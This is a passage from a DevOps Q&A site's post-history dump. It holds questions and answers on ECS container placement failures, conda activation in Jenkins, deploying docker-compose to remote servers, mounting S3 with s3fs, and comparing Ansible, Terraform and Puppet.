Investigating the event logs of the created service says:&#xD;&#xA;&#xD;&#xA;    83fd8940-759f-4872-9ea0-e1d183f6228b&#xD;&#xA;    2020-01-07 17:29:26 +0100&#xD;&#xA;    service my_service was unable to place a task because no container instance met all of its requirements. The closest matching container-instance a027ed7c-acf2-457c-83a1-f5e9617220d3 has insufficient memory available. For more information, see the Troubleshooting section.&#xD;&#xA;    &#xD;&#xA;    7d04ceed-35b6-49a3-b518-a54e197b07af&#xD;&#xA;    2020-01-07 17:28:21 +0100&#xD;&#xA;    service my_service was unable to place a task because no container instance met all of its requirements. Reason: No Container Instances were found in your cluster. For more information, see the Troubleshooting section.&#xD;&#xA;&#xD;&#xA;The container wasn't correctly started it seems. Apparently there is not enough memory available which is odd because 2GB and 2 cores were specified in my script.&#xD;&#xA;&#xD;&#xA;When I SSH into the EC2 instance and check with `docker ps` what containers are running I see:&#xD;&#xA;&#xD;&#xA;    CONTAINER ID        IMAGE                            COMMAND             CREATED             STATUS                   PORTS               NAMES&#xD;&#xA;    0166c36c4993        amazon/amazon-ecs-agent:latest   &quot;/agent&quot;            2 minutes ago       Up 2 minutes (healthy)                       ecs-agent&#xD;&#xA;&#xD;&#xA;I don't think this is my container but some default one.&#xD;&#xA;Are there any other things I can verify? Is memory really the issue?&#xD;&#xA;Or am I missing an important property so that my container is started correctly?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32033" PostHistoryTypeId="5" PostId="10414" RevisionGUID="f729f14e-a221-4123-af05-d90508d80f66" CreationDate="2020-01-07T16:53:52.707" UserId="18304" Comment="Added further attempts to investigate the problem" Text="So I've built a docker image locally with packer.&#xD;&#xA;When running the image locally, everything is fine.&#xD;&#xA;But for my deployment I've uploaded the docker image to the ECR and started it on ECS. &#xD;&#xA;However not all services in the container got started correctly. &#xD;&#xA;I assume this is because on AWS the CMD of the container got overwritten or cleared.&#xD;&#xA;Locally in the packer template I have the CMD defined:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;            &quot;image&quot;: &quot;ubuntu:latest&quot;,&#xD;&#xA;            &quot;changes&quot;: [&#xD;&#xA;                &quot;WORKDIR /tmp&quot;,&#xD;&#xA;                &quot;EXPOSE 21&quot;,&#xD;&#xA;                &quot;CMD [\&quot;/tmp/run.sh\&quot;]&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;commit&quot;: true,&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Since I automate the deployment to ECS with boto3.&#xD;&#xA;I create a cluster, spin up a EC2 instance, register a task definition and  create a service to start the container. &#xD;&#xA;How would I make sure the same CMD is executed when I deploy to ECS?&#xD;&#xA;Where can I define the CMD is my deployment chain.&#xD;&#xA;&#xD;&#xA;This is how my script looks like:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    &#xD;&#xA;    CLUSTER_NAME = &quot;test_cluster&quot;&#xD;&#xA;    SERVICE_NAME = &quot;test_service&quot;&#xD;&#xA;    TASK_NAME = &quot;test_task&quot;&#xD;&#xA;    AWS_REGION = &quot;eu-west-1&quot;&#xD;&#xA;    AWS_SECRET_KEY = &quot;&lt;snip&gt;&quot;&#xD;&#xA;    AWS_ACCESS_KEY = &quot;&lt;snip&gt;&quot;&#xD;&#xA;    &#xD;&#xA;    # 1. Create a new ECS and EC2 clients&#xD;&#xA;    ecs_client = boto3.client(&#xD;&#xA;        service_name=&quot;ecs&quot;,&#xD;&#xA;        aws_access_key_id=AWS_ACCESS_KEY,&#xD;&#xA;        aws_secret_access_key=AWS_SECRET_KEY,&#xD;&#xA;        region_name=AWS_REGION&#xD;&#xA;    )&#xD;&#xA;    &#xD;&#xA;    ec2_client = boto3.client(&#xD;&#xA;        service_name=&quot;ec2&quot;,&#xD;&#xA;        aws_access_key_id=AWS_ACCESS_KEY,&#xD;&#xA;        aws_secret_access_key=AWS_SECRET_KEY,&#xD;&#xA;        region_name=AWS_REGION&#xD;&#xA;    )&#xD;&#xA;    print(&quot;Created ECS and C2 clients&quot;)&#xD;&#xA;    &#xD;&#xA;    # 2. Spawn new cluster &#xD;&#xA;    ecs_client.create_cluster(clusterName=CLUSTER_NAME)&#xD;&#xA;    print(&quot;Created ECS cluster&quot;)&#xD;&#xA;    &#xD;&#xA;    # 3. Start EC2 instace&#xD;&#xA;    ec2_client.run_instances(&#xD;&#xA;        ImageId=&quot;ami-01f14919ba412de34&quot;,&#xD;&#xA;        MinCount=1,&#xD;&#xA;        MaxCount=1,&#xD;&#xA;        InstanceType=&quot;t2.micro&quot;,&#xD;&#xA;        IamInstanceProfile={&#xD;&#xA;            &quot;Name&quot;: &quot;ecsInstanceRole&quot;&#xD;&#xA;        },&#xD;&#xA;        UserData=&quot;#!/bin/bash \n echo ECS_CLUSTER=&quot; + CLUSTER_NAME + &quot; &gt;&gt; /etc/ecs/ecs.config&quot;&#xD;&#xA;    )&#xD;&#xA;    print(&quot;Started EC2 instance!&quot;)&#xD;&#xA;    &#xD;&#xA;    # 4. Register a new task definition&#xD;&#xA;    ecs_client.register_task_definition(&#xD;&#xA;            containerDefinitions=[&#xD;&#xA;            {&#xD;&#xA;                &quot;name&quot;: &quot;testservice&quot;,&#xD;&#xA;                &quot;image&quot;: &quot;&quot;&lt;snip&gt;&quot;&quot;,&#xD;&#xA;                'cpu': 2,&#xD;&#xA;                'memory': 2048,&#xD;&#xA;                &quot;portMappings&quot;: &#xD;&#xA;                [&#xD;&#xA;                    {&#xD;&#xA;                        &quot;containerPort&quot;: 21,&#xD;&#xA;                        &quot;hostPort&quot;: 21&#xD;&#xA;                    }&#xD;&#xA;                ]&#xD;&#xA;            }&#xD;&#xA;        ],&#xD;&#xA;        family=TASK_NAME&#xD;&#xA;    )&#xD;&#xA;    print(&quot;Registered task definition&quot;)&#xD;&#xA;    &#xD;&#xA;    # 5. Create service to start docker container&#xD;&#xA;    ecs_client.create_service(&#xD;&#xA;        cluster=CLUSTER_NAME,&#xD;&#xA;        serviceName=SERVICE_NAME,&#xD;&#xA;        taskDefinition=TASK_NAME,&#xD;&#xA;        desiredCount=1,&#xD;&#xA;        clientToken='request_identifier_string',&#xD;&#xA;        deploymentConfiguration={&#xD;&#xA;            'maximumPercent': 200,&#xD;&#xA;            'minimumHealthyPercent': 50&#xD;&#xA;        }&#xD;&#xA;    )&#xD;&#xA;    print(&quot;Started service. Docker image should be up and running now..&quot;)&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;After various testing I was able to spin up the instance, but my container was still not started correctly. Investigating the event logs of the created service says:&#xD;&#xA;&#xD;&#xA;    83fd8940-759f-4872-9ea0-e1d183f6228b&#xD;&#xA;    2020-01-07 17:29:26 +0100&#xD;&#xA;    service my_service was unable to place a task because no container instance met all of its requirements. The closest matching container-instance a027ed7c-acf2-457c-83a1-f5e9617220d3 has insufficient memory available. For more information, see the Troubleshooting section.&#xD;&#xA;    &#xD;&#xA;    7d04ceed-35b6-49a3-b518-a54e197b07af&#xD;&#xA;    2020-01-07 17:28:21 +0100&#xD;&#xA;    service my_service was unable to place a task because no container instance met all of its requirements. Reason: No Container Instances were found in your cluster. For more information, see the Troubleshooting section.&#xD;&#xA;&#xD;&#xA;The container wasn't correctly started it seems. Apparently there is not enough memory available which is odd because 2GB and 2 cores were specified in my script.&#xD;&#xA;&#xD;&#xA;When I SSH into the EC2 instance and check with `docker ps` what containers are running I see:&#xD;&#xA;&#xD;&#xA;    CONTAINER ID        IMAGE                            COMMAND             CREATED             STATUS                   PORTS               NAMES&#xD;&#xA;    0166c36c4993        amazon/amazon-ecs-agent:latest   &quot;/agent&quot;            2 minutes ago       Up 2 minutes (healthy)                       ecs-agent&#xD;&#xA;&#xD;&#xA;I don't think this is my container but a default one?&#xD;&#xA;I also looked into the docker configuration on the EC2 instance. The only thing that looked weird is the fact that the total memory is only around 1GB:&#xD;&#xA;&#xD;&#xA;    [ec2-user@ip-&lt;SNIP&gt; ~]$ docker info&#xD;&#xA;    Containers: 1&#xD;&#xA;     Running: 1&#xD;&#xA;     Paused: 0&#xD;&#xA;     Stopped: 0&#xD;&#xA;    Images: 2&#xD;&#xA;    Server Version: 18.09.9-ce&#xD;&#xA;    Storage Driver: overlay2&#xD;&#xA;     Backing Filesystem: extfs&#xD;&#xA;     Supports d_type: true&#xD;&#xA;     Native Overlay Diff: true&#xD;&#xA;    Logging Driver: json-file&#xD;&#xA;    Cgroup Driver: cgroupfs&#xD;&#xA;    Plugins:&#xD;&#xA;     Volume: local&#xD;&#xA;     Network: bridge host macvlan null overlay&#xD;&#xA;     Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog&#xD;&#xA;    Swarm: inactive&#xD;&#xA;    Runtimes: runc&#xD;&#xA;    Default Runtime: runc&#xD;&#xA;    Init Binary: docker-init&#xD;&#xA;    containerd version: 894b81a4b802e4eb2a91d1ce216b8817763c29fb&#xD;&#xA;    runc version: 2b18fe1d885ee5083ef9f0838fee39b62d653e30&#xD;&#xA;    init version: fec3683&#xD;&#xA;    Security Options:&#xD;&#xA;     seccomp&#xD;&#xA;      Profile: default&#xD;&#xA;    Kernel Version: 4.14.154-128.181.amzn2.x86_64&#xD;&#xA;    Operating System: Amazon Linux 2&#xD;&#xA;    OSType: linux&#xD;&#xA;    Architecture: x86_64&#xD;&#xA;    CPUs: 1&#xD;&#xA;    Total Memory: 983.7MiB&#xD;&#xA;    Name: &lt;SNIP&gt;&#xD;&#xA;    ID: OBGI:QKZ5:OUOG:DLW6:JJCJ:7AFY:VGRI:JNLG:HEKA:MGXS:GDSL:X2VD&#xD;&#xA;    Docker Root Dir: /var/lib/docker&#xD;&#xA;    Debug Mode (client): false&#xD;&#xA;    Debug Mode (server): false&#xD;&#xA;    Registry: https://index.docker.io/v1/&#xD;&#xA;    Labels:&#xD;&#xA;    Experimental: false&#xD;&#xA;    Insecure Registries:&#xD;&#xA;     127.0.0.0/8&#xD;&#xA;    Live Restore Enabled: false&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Are there any other things I can verify? Is memory really the issue?&#xD;&#xA;Or am I missing an important property so that my container is started correctly?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32034" PostHistoryTypeId="2" PostId="10417" RevisionGUID="7009f9ab-5af6-4def-8e64-49ca96d21ead" CreationDate="2020-01-07T17:37:01.957" UserId="31" Text="I'm currently on my annual re-read of The Phoenix Project and we're going through the different types of work that an Ops Team face. These are:&#xD;&#xA;&#xD;&#xA; - Project Work&#xD;&#xA; - Changes&#xD;&#xA; - Internal Projects&#xD;&#xA; - Unplanned Work&#xD;&#xA;&#xD;&#xA;This time around I'm not convinced that these types apply directly to development teams (as opposed to Ops work).&#xD;&#xA;&#xD;&#xA;We obviously have Project Work (pretty much everything in our backlogs). Unplanned Work is a no-brainer for anyone who's ever supported an incident...&#xD;&#xA;&#xD;&#xA;But do we have an equivalent of &quot;Changes&quot; or &quot;Internal Projects&quot;? Internal Projects kind of correlates to Tech Debt...&#xD;&#xA;&#xD;&#xA;Have the authors of The Phoenix Project (or other highly regarded figure in the DevOps community) compared the different types of work a development team may face and commented on whether it is different?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32035" PostHistoryTypeId="1" PostId="10417" RevisionGUID="7009f9ab-5af6-4def-8e64-49ca96d21ead" CreationDate="2020-01-07T17:37:01.957" UserId="31" Text="What are the different types of work in a development team?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32036" PostHistoryTypeId="3" PostId="10417" RevisionGUID="7009f9ab-5af6-4def-8e64-49ca96d21ead" CreationDate="2020-01-07T17:37:01.957" UserId="31" Text="&lt;software-engineering&gt;&lt;capacity-planning&gt;&lt;the-phoenix-project&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32037" PostHistoryTypeId="2" PostId="10418" RevisionGUID="46c6f923-d45a-4e87-b661-ece05ccb30c0" CreationDate="2020-01-07T18:01:20.763" UserId="707" Text="Nice question!&#xD;&#xA;&#xD;&#xA;Possibly, Changes are further strategic product development beyond current work which is more than required by technical debt? For example, introducing a new framework, or nice abstraction layer. (which could break a lot though)&#xD;&#xA;&#xD;&#xA;Internal projects could be custom helper tools to automate something invisible in the backlog.&#xD;&#xA;&#xD;&#xA;By the way Unplanned work could be a request to support sales or some unexpected meeting or all hands social skills training event.&#xD;&#xA;&#xD;&#xA;There is anyway a sequel to &quot;Phoenix Project&quot; called &quot;Unicorn Project&quot; by same author, focusing on the Dev part of the equation.&#xD;&#xA;&#xD;&#xA;I haven't read it myself yet but hope you might find the answer there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32038" PostHistoryTypeId="5" PostId="10418" RevisionGUID="8fb3f57f-ef59-498e-a1c5-d6d3d5a1a058" CreationDate="2020-01-07T18:06:34.880" UserId="707" Comment="added 59 characters in body" Text="Nice question!&#xD;&#xA;&#xD;&#xA;Possibly, Changes are further strategic product development beyond current work which is more than required by technical debt? For example, introducing a new framework, or nice abstraction layer. (which could break a lot though)&#xD;&#xA;&#xD;&#xA;Internal projects could be custom helper tools to automate something invisible in the backlog. Sometimes you have also to fill in time sheets.&#xD;&#xA;&#xD;&#xA;By the way Unplanned work could be also a request to support sales or HR or some unexpected meeting or all hands social skills training event.&#xD;&#xA;&#xD;&#xA;There is anyway a sequel to &quot;Phoenix Project&quot; called &quot;Unicorn Project&quot; by same author, focusing on the Dev part of the equation.&#xD;&#xA;&#xD;&#xA;I haven't read it myself yet but hope you might find the answer there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32039" PostHistoryTypeId="4" PostId="10367" RevisionGUID="7196bdca-24e3-48a6-b5b4-e18e664ca3fc" CreationDate="2020-01-07T18:08:18.467" UserId="707" Comment="edited title" Text="Exit a Makefile target called by parent without throwing an error" ContentLicense="CC BY-SA 4.0" />
  <row Id="32040" PostHistoryTypeId="2" PostId="10419" RevisionGUID="7b01d7d7-34a9-447c-a97d-77bb526dd761" CreationDate="2020-01-07T18:32:16.653" UserId="8251" Text="Aside from @Peter s great answer are you comparing Apples with Apples? Your comparison only works, if you compare a VPS as a &quot;box&quot; with another VPS, based on soimplistic criteria such as CPU clock speed, memory and disk space. With a cloud provider you can dramatically reduce costs with the following ways:&#xD;&#xA;&#xD;&#xA; - run night time instance sizes vs day time instance sizes&#xD;&#xA; - run no night time instances, not every Intranet is 24/7&#xD;&#xA; - use long term commitments to reduce price&#xD;&#xA; - spot price market for instances&#xD;&#xA; - extract compute workload onto cheap services such as CDNs, event driven queues, serverless setups&#xD;&#xA;&#xD;&#xA;On top of that are these instances really the same? What about custom CPUs, hardware based Hypervisors and other technologies that only top 5 public cloud providers can access.&#xD;&#xA;&#xD;&#xA;These providers also have free tiers for services or free monthly allocations that you can factor into your cost calculations.&#xD;&#xA;&#xD;&#xA;Finally, what is the cost for change. How do you change instance sizes on the compared providers when your requirements change?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32041" PostHistoryTypeId="2" PostId="10420" RevisionGUID="ce12402c-00de-405a-af78-4638f3c90c65" CreationDate="2020-01-07T18:45:32.640" UserId="15792" Text="I can think of two main reasons:&#xD;&#xA;&#xD;&#xA; 1. Several of the larger companies offer cheap/free entry level tiers.  As the company begins to grow and needs to scale, then the providers charge more.  However, at this point most people are &quot;locked in&quot; to the cloud provider either through reservations of servers, provider specific services, or in-house expertise.&#xD;&#xA; 2. Brand name is important when it comes to cloud computing.  While an &quot;off-brand&quot; cloud provider may have better and cheaper services than the big ones, most people are happy to spend more on a brand they have heard of.  Some clients are still wary of cloud providers (e.g. worried about security, reliability, relinquishing physical control), and are more likely to trust Amazon, Google, or Microsoft than a provider they have never heard of." ContentLicense="CC BY-SA 4.0" />
  <row Id="32043" PostHistoryTypeId="2" PostId="10421" RevisionGUID="d21e5384-9307-4c81-85b2-3f1044b37c64" CreationDate="2020-01-07T19:35:44.303" UserId="9148" Text="I'm running Conda 4.6.14 on Ubuntu 16.04. &#xD;&#xA;&#xD;&#xA;I thought about using virtual environments with Conda in my Jenkins pipelines that needed Ansible, by having all nodes use the same environment, `ansible-env` to run playbooks. While the process seems pretty straight forward, I'm unable to call `conda activate ansible-env`, because it results in the following error:&#xD;&#xA;&#xD;&#xA;    + conda activate ansible-env&#xD;&#xA;    &#xD;&#xA;    CommandNotFoundError: Your shell has not been properly configured to use 'conda activate'. To initialize your shell, run&#xD;&#xA;    &#xD;&#xA;        $ conda init &lt;SHELL_NAME&gt;&#xD;&#xA;    &#xD;&#xA;    Currently supported shells are:&#xD;&#xA;      - bash&#xD;&#xA;      - fish&#xD;&#xA;      - tcsh&#xD;&#xA;      - xonsh&#xD;&#xA;      - zsh&#xD;&#xA;      - powershell&#xD;&#xA;    &#xD;&#xA;    See 'conda init --help' for more information and options.&#xD;&#xA;    &#xD;&#xA;    IMPORTANT: You may need to close and restart your shell after running 'conda init'.&#xD;&#xA;&#xD;&#xA;Here is the code I'm using to activate...pretty basic&#xD;&#xA;&#xD;&#xA;    sh(&quot;conda activate ansible-env&quot;)&#xD;&#xA;    sh(&quot;ansible --version&quot;)&#xD;&#xA;    sh(&quot;conda deactivate&quot;)&#xD;&#xA;&#xD;&#xA;I ran `conda init --system` on the build node as the Jenkins user and then rebooted. No change. &#xD;&#xA;&#xD;&#xA;I've spent a great deal of time trying to google a solution, but everything I've tried hasn't worked.&#xD;&#xA;&#xD;&#xA;**What I've attempted:**&#xD;&#xA;&#xD;&#xA; - Tried running `sh(&quot;conda init bash&quot;)` in the pipeline.&#xD;&#xA; - Executing `. /home/jenkins/miniconda3/profile.d/conda.sh` from within the pipeline.&#xD;&#xA; - Made sure the `bin` directory for miniconda3 is set in $PATH.&#xD;&#xA; - Ran `dpkg-configure dash` to make sure `/bin/bash` is the default shell on the node.&#xD;&#xA; - Tried sourcing the `/home/jenkins/.bashrc` file&#xD;&#xA; - Calling the `conda` executable via the absolute path. &#xD;&#xA; - Tried using `source ansible-env` or `activate ansible-env` without `conda`.&#xD;&#xA;&#xD;&#xA;I'm pretty sure the issue has to do with the following lines added to `~/.bashrc` of the jenkins user after running `conda init --system`, but still not being accessible from that same user when a job is running. Unfortunately, I've hit a wall and not sure where to go from here. &#xD;&#xA;&#xD;&#xA;**NOTE:** Please don't suggest switching to VirtuanEnv unless there's a specific reason Conda won't work with Jenkins. I'm aware of that route, but went with conda for...reasons." ContentLicense="CC BY-SA 4.0" />
  <row Id="32044" PostHistoryTypeId="1" PostId="10421" RevisionGUID="d21e5384-9307-4c81-85b2-3f1044b37c64" CreationDate="2020-01-07T19:35:44.303" UserId="9148" Text="Unable to run `conda activate` from Jenkins pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="32045" PostHistoryTypeId="3" PostId="10421" RevisionGUID="d21e5384-9307-4c81-85b2-3f1044b37c64" CreationDate="2020-01-07T19:35:44.303" UserId="9148" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32046" PostHistoryTypeId="2" PostId="10422" RevisionGUID="8f91065f-0ef0-467c-8837-bd754e87a818" CreationDate="2020-01-07T20:43:21.390" UserId="18765" Text="I have some time for research at work right now, and I was thinking on expanding my knowledge on my favorite subject, which is DevOps (love you all). &#xD;&#xA;&#xD;&#xA;I have some advanced experience with Ansible, as it has always been my choice when preparing and provisioning hardware in my Cloud tenancies. I started working with Ansible because it was the first software that popped up based on a quick SE search, a couple of months ago. However, I'd like to know **how Ansible compares with *Terraform* and/or *Puppet*, in the following aspects:**&#xD;&#xA;&#xD;&#xA;1. Which is the most commonly used tool between the three, and why is that?&#xD;&#xA;2. Which of the three use the simplest syntax (to my knowledge, Terraform is best at this)?&#xD;&#xA;3. Which is most respectable in the DevOps community, and why?&#xD;&#xA;&#xD;&#xA;Thank you as always for your time." ContentLicense="CC BY-SA 4.0" />
  <row Id="32047" PostHistoryTypeId="1" PostId="10422" RevisionGUID="8f91065f-0ef0-467c-8837-bd754e87a818" CreationDate="2020-01-07T20:43:21.390" UserId="18765" Text="Most used tool for Cloud Infrastructure deployment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32048" PostHistoryTypeId="3" PostId="10422" RevisionGUID="8f91065f-0ef0-467c-8837-bd754e87a818" CreationDate="2020-01-07T20:43:21.390" UserId="18765" Text="&lt;ansible&gt;&lt;terraform&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32049" PostHistoryTypeId="2" PostId="10423" RevisionGUID="3f506f65-00a3-4499-ae96-4aff9696269c" CreationDate="2020-01-07T23:02:11.543" UserId="18996" Text="I am new to the docker ecosystem and I am trying to figure out a proper deployment infrastructure for a system I am working on. &#xD;&#xA;&#xD;&#xA;Imagine a following scenario: a system consists of three microservices - DB, core server, and an app (server + client). For each of these I created a docker image. I also linked them together with docker compose to describe the system as a whole and described links between the microservices. During a release of the microservice I tag the image with a proper tag and push it to a private docker repository. So far so good, it works locally.&#xD;&#xA;&#xD;&#xA;Now, imagine I have three different production clients, and each has it’s own one rack linux server. I am not sure how should I approach deployment of the system with docker:&#xD;&#xA;&#xD;&#xA;1) I want to be able to specify different versions of microservices for different prodction servers. How should I approach this? Should I have one general docker-compose file or one file with specified versions for each production environment? &#xD;&#xA;&#xD;&#xA;Where should I keep docker-compose? In a repository? How it is copied then to a remote host? How to deploy docker-compose.yml file to a remote host? &#xD;&#xA;&#xD;&#xA;2) How can I deploy new version of a microservice to a remote host? I am looking for a tool so that if I run &#xD;&#xA;&#xD;&#xA;    tool deploy app@2.33 [server1]&#xD;&#xA;&#xD;&#xA;it would run the app image at version 2.33 on server1. Is there a tool for that? &#xD;&#xA;&#xD;&#xA;For instance I was using a tool for meteor deployment [meteor-up][1] that sends the meteor app docker image to a remote host and runs it there - I am looking for the same thing but for a random docker image/docker compose. &#xD;&#xA;&#xD;&#xA;I can’t find what is the best practice now in the docker ecosystem to deploy an image to a simple server without AWS/Beanstalk or any other cloud environment. Should I just ssh into it, copy docker-compose and run `docker-compose up -d` ? &#xD;&#xA;&#xD;&#xA;Any thoughts appreciated, thank you! &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meteor-up.com" ContentLicense="CC BY-SA 4.0" />
  <row Id="32050" PostHistoryTypeId="1" PostId="10423" RevisionGUID="3f506f65-00a3-4499-ae96-4aff9696269c" CreationDate="2020-01-07T23:02:11.543" UserId="18996" Text="How to deploy docker-compose to a remote host" ContentLicense="CC BY-SA 4.0" />
  <row Id="32051" PostHistoryTypeId="3" PostId="10423" RevisionGUID="3f506f65-00a3-4499-ae96-4aff9696269c" CreationDate="2020-01-07T23:02:11.543" UserId="18996" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32052" PostHistoryTypeId="2" PostId="10424" RevisionGUID="4bc2b0bf-01c2-4ead-9cdc-a74b652980b4" CreationDate="2020-01-08T01:18:02.443" UserId="15792" Text="Let's take your questions one-by-one:&#xD;&#xA;&#xD;&#xA;&gt; I want to be able to specify different versions of microservices for different prodction servers. How should I approach this?&#xD;&#xA;&#xD;&#xA;There are many different ways to handle this.  One possibility be to &quot;tag&quot; your docker images and have different docker-compose files that use these images.&#xD;&#xA;&#xD;&#xA;&gt; Should I have one general docker-compose file or one file with specified versions for each production environment?&#xD;&#xA;&#xD;&#xA;Depends.  How many environments do you have?  What I've often seen is a single docker-compose that references a separate environment file.&#xD;&#xA;&#xD;&#xA;&gt; Where should I keep docker-compose? In a repository? &#xD;&#xA;&#xD;&#xA;Again this depends.  A standard enterprise best practice would be to store this in a repository so that it is naturally version controlled, and can easily be accessed by others.&#xD;&#xA;&#xD;&#xA;&gt; How it is copied then to a remote host? How to deploy docker-compose.yml file to a remote host?&#xD;&#xA;&#xD;&#xA;For deploying a docker-compose.yml it depends on the target architecture.  Since you mentioned Linux you could use [scp][1] to copy the file.&#xD;&#xA;&#xD;&#xA;&gt; How can I deploy new version of a microservice to a remote host?&#xD;&#xA;&#xD;&#xA;The industry leading tool for this right now is [Kubernetes][2].  If you go this approach your docker-compose could be morphed into a Kubernetes deployment.  Using just docker-compose you will need to somehow detect that a new container is available and pull it.  [Watchtower][3] or a similar tool may be helpful.&#xD;&#xA;&#xD;&#xA;Based on what you've described I would recommend taking a look at the interactive [Kubernetes tutorials][4], and seeing if that is ultimately an easier approach than everything I outlined above.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://haydenjames.io/linux-securely-copy-files-using-scp/&#xD;&#xA;  [2]: https://kubernetes.io/&#xD;&#xA;  [3]: https://github.com/containrrr/watchtower&#xD;&#xA;  [4]: https://kubernetes.io/docs/tutorials/kubernetes-basics/" ContentLicense="CC BY-SA 4.0" />
  <row Id="32056" PostHistoryTypeId="2" PostId="10426" RevisionGUID="fb1ad5a4-6eef-44f8-8242-583e11913c38" CreationDate="2020-01-08T05:05:06.100" UserId="18997" Text="I am trying to mount S3 bucket on my on-premises CentOS-6 server using s3fs as below:&#xD;&#xA;&#xD;&#xA;    [roots@myhost ~]# s3fs bucket-name /mnt/s3mnt -o  uid=1001,gid=1001,allow_other,umask=022,iam_role=iam-role,use_cache=/tmp &#xD;&#xA;This gives error : &#xD;&#xA;&#xD;&#xA;    s3fs: unable to access MOUNTPOINT /mnt/s3mnt: Transport endpoint is not connected&#xD;&#xA;    debug : &#xD;&#xA;        set_moutpoint_attribute(3293): PROC(uid=0, gid=0) - MountPoint(uid=0, gid=0, mode=40777)&#xD;&#xA;    s3fs_init(2597): init&#xD;&#xA;    s3fs_check_service(2896): check services.&#xD;&#xA;    RequestPerform(1524): ### CURLE_OPERATION_TIMEDOUT&#xD;&#xA;        RequestPerform(1617): ### retrying...&#xD;&#xA;        RemakeHandle(1288): Retry request. [type=-1][url=http://169.254.169.254/latest/meta-data/iam/security-credentials/iam-role][path=]&#xD;&#xA;        RequestPerform(1620): Failed to reset handle and internal data for retrying.&#xD;&#xA;    s3fs: Failed to check IAM role name(iam-role).&#xD;&#xA;&#xD;&#xA;Please let me know if somebody did it successfully.&#xD;&#xA;Tried with endpoint parameter and URL parameter but it says:&#xD;&#xA;&#xD;&#xA;    fuse: unknown option `endpoint=ap-northeast-1'&#xD;&#xA;&#xD;&#xA;Any suggestion is highly appreciated. Thank you.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32057" PostHistoryTypeId="1" PostId="10426" RevisionGUID="fb1ad5a4-6eef-44f8-8242-583e11913c38" CreationDate="2020-01-08T05:05:06.100" UserId="18997" Text="s3fs to mount S3 bucket with iamrole on non-aws machine" ContentLicense="CC BY-SA 4.0" />
  <row Id="32058" PostHistoryTypeId="3" PostId="10426" RevisionGUID="fb1ad5a4-6eef-44f8-8242-583e11913c38" CreationDate="2020-01-08T05:05:06.100" UserId="18997" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;s3fs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32062" PostHistoryTypeId="2" PostId="10428" RevisionGUID="e61183bd-4cfa-4e2e-982a-9fc91544c721" CreationDate="2020-01-08T08:00:14.377" UserId="18765" Text="As a suggestion... Can you try calling the absolute path of the python executable in the environment? I mean: when you change conda environments, what happens is that the python executable you call changes path; you can find which python executable would be executed by&#xA;&#xA;    which python&#xA;&#xA;Inside the environment. Then just forget about calling conda in the Jenkins pipeline. That should work if that’s what you’re changing environments for. Or are you changing the conda environment for some other reason?&#xA;&#xA;EDIT: the same would happen when calling ansible as a library installed in the environment. It will change path to something like:&#xA;&#xA;    ~/conda/envs/your_env/lib/ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="32063" PostHistoryTypeId="2" PostId="10429" RevisionGUID="0c110fbe-7aaa-426b-8a8d-61ab46afe0ca" CreationDate="2020-01-08T08:31:09.383" UserId="6060" Text="These tools uses for slightly different purposes:&#xD;&#xA;Use CM tool like Ansible/Puppet for configuration / customization and Orchestration tool like Terraform to provision infrastructure.&#xD;&#xA;&#xD;&#xA;Ansible and Puppet are primarily a configuration management tools. It is suitable for resource customization and configuration.&#xD;&#xA;&#xD;&#xA;Puppet required Puppet Agent installation on each server. Ansible doesn't require any agents. It uses SSH protocol for performing all operations.             &#xD;&#xA;Ansible supports YAML syntax. Ansible is little more popular now than Puppet.&#xD;&#xA;&#xD;&#xA;Terraform is an infrastructure orchestration tool that supports many cloud platforms.&#xD;&#xA;With Terraform you simply declare resources and how you want them configured and then Terraform will map out the dependencies and build everything for you.&#xD;&#xA;I prefer to use it to provision VMs and Cloud services like Databases or Storages.&#xD;&#xA;&#xD;&#xA;All three tools have excellent community support.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32064" PostHistoryTypeId="5" PostId="10422" RevisionGUID="4997c01b-6aaf-466e-bd50-8ff4c8827b99" CreationDate="2020-01-08T08:32:40.987" UserId="18765" Comment="added 304 characters in body" Text="I have some time for research at work right now, and I was thinking on expanding my knowledge on my favorite subject, which is DevOps (love you all). &#xD;&#xA;&#xD;&#xA;I have some advanced experience with Ansible, as it has always been my choice when preparing and provisioning hardware in my Cloud tenancies. I started working with Ansible because it was the first software that popped up based on a quick SE search, a couple of months ago. However, I'd like to know **how Ansible compares with *Terraform* and/or *Puppet*, in the following aspects:**&#xD;&#xA;&#xD;&#xA;1. Which is the most commonly used tool between the three in the DevOps community, more specifically when deploying Cloud infrastructure to customers, and why is that?&#xA;2. Which of the three use the simplest syntax (to my knowledge, Terraform is best at this)? I’m looking for a human-readable syntax if possible which makes things easier to remember.&#xA;3. Which is most respectable in the DevOps community, with regard to community standards, and why? Do any of these tools have a feature that makes them stand out from a development 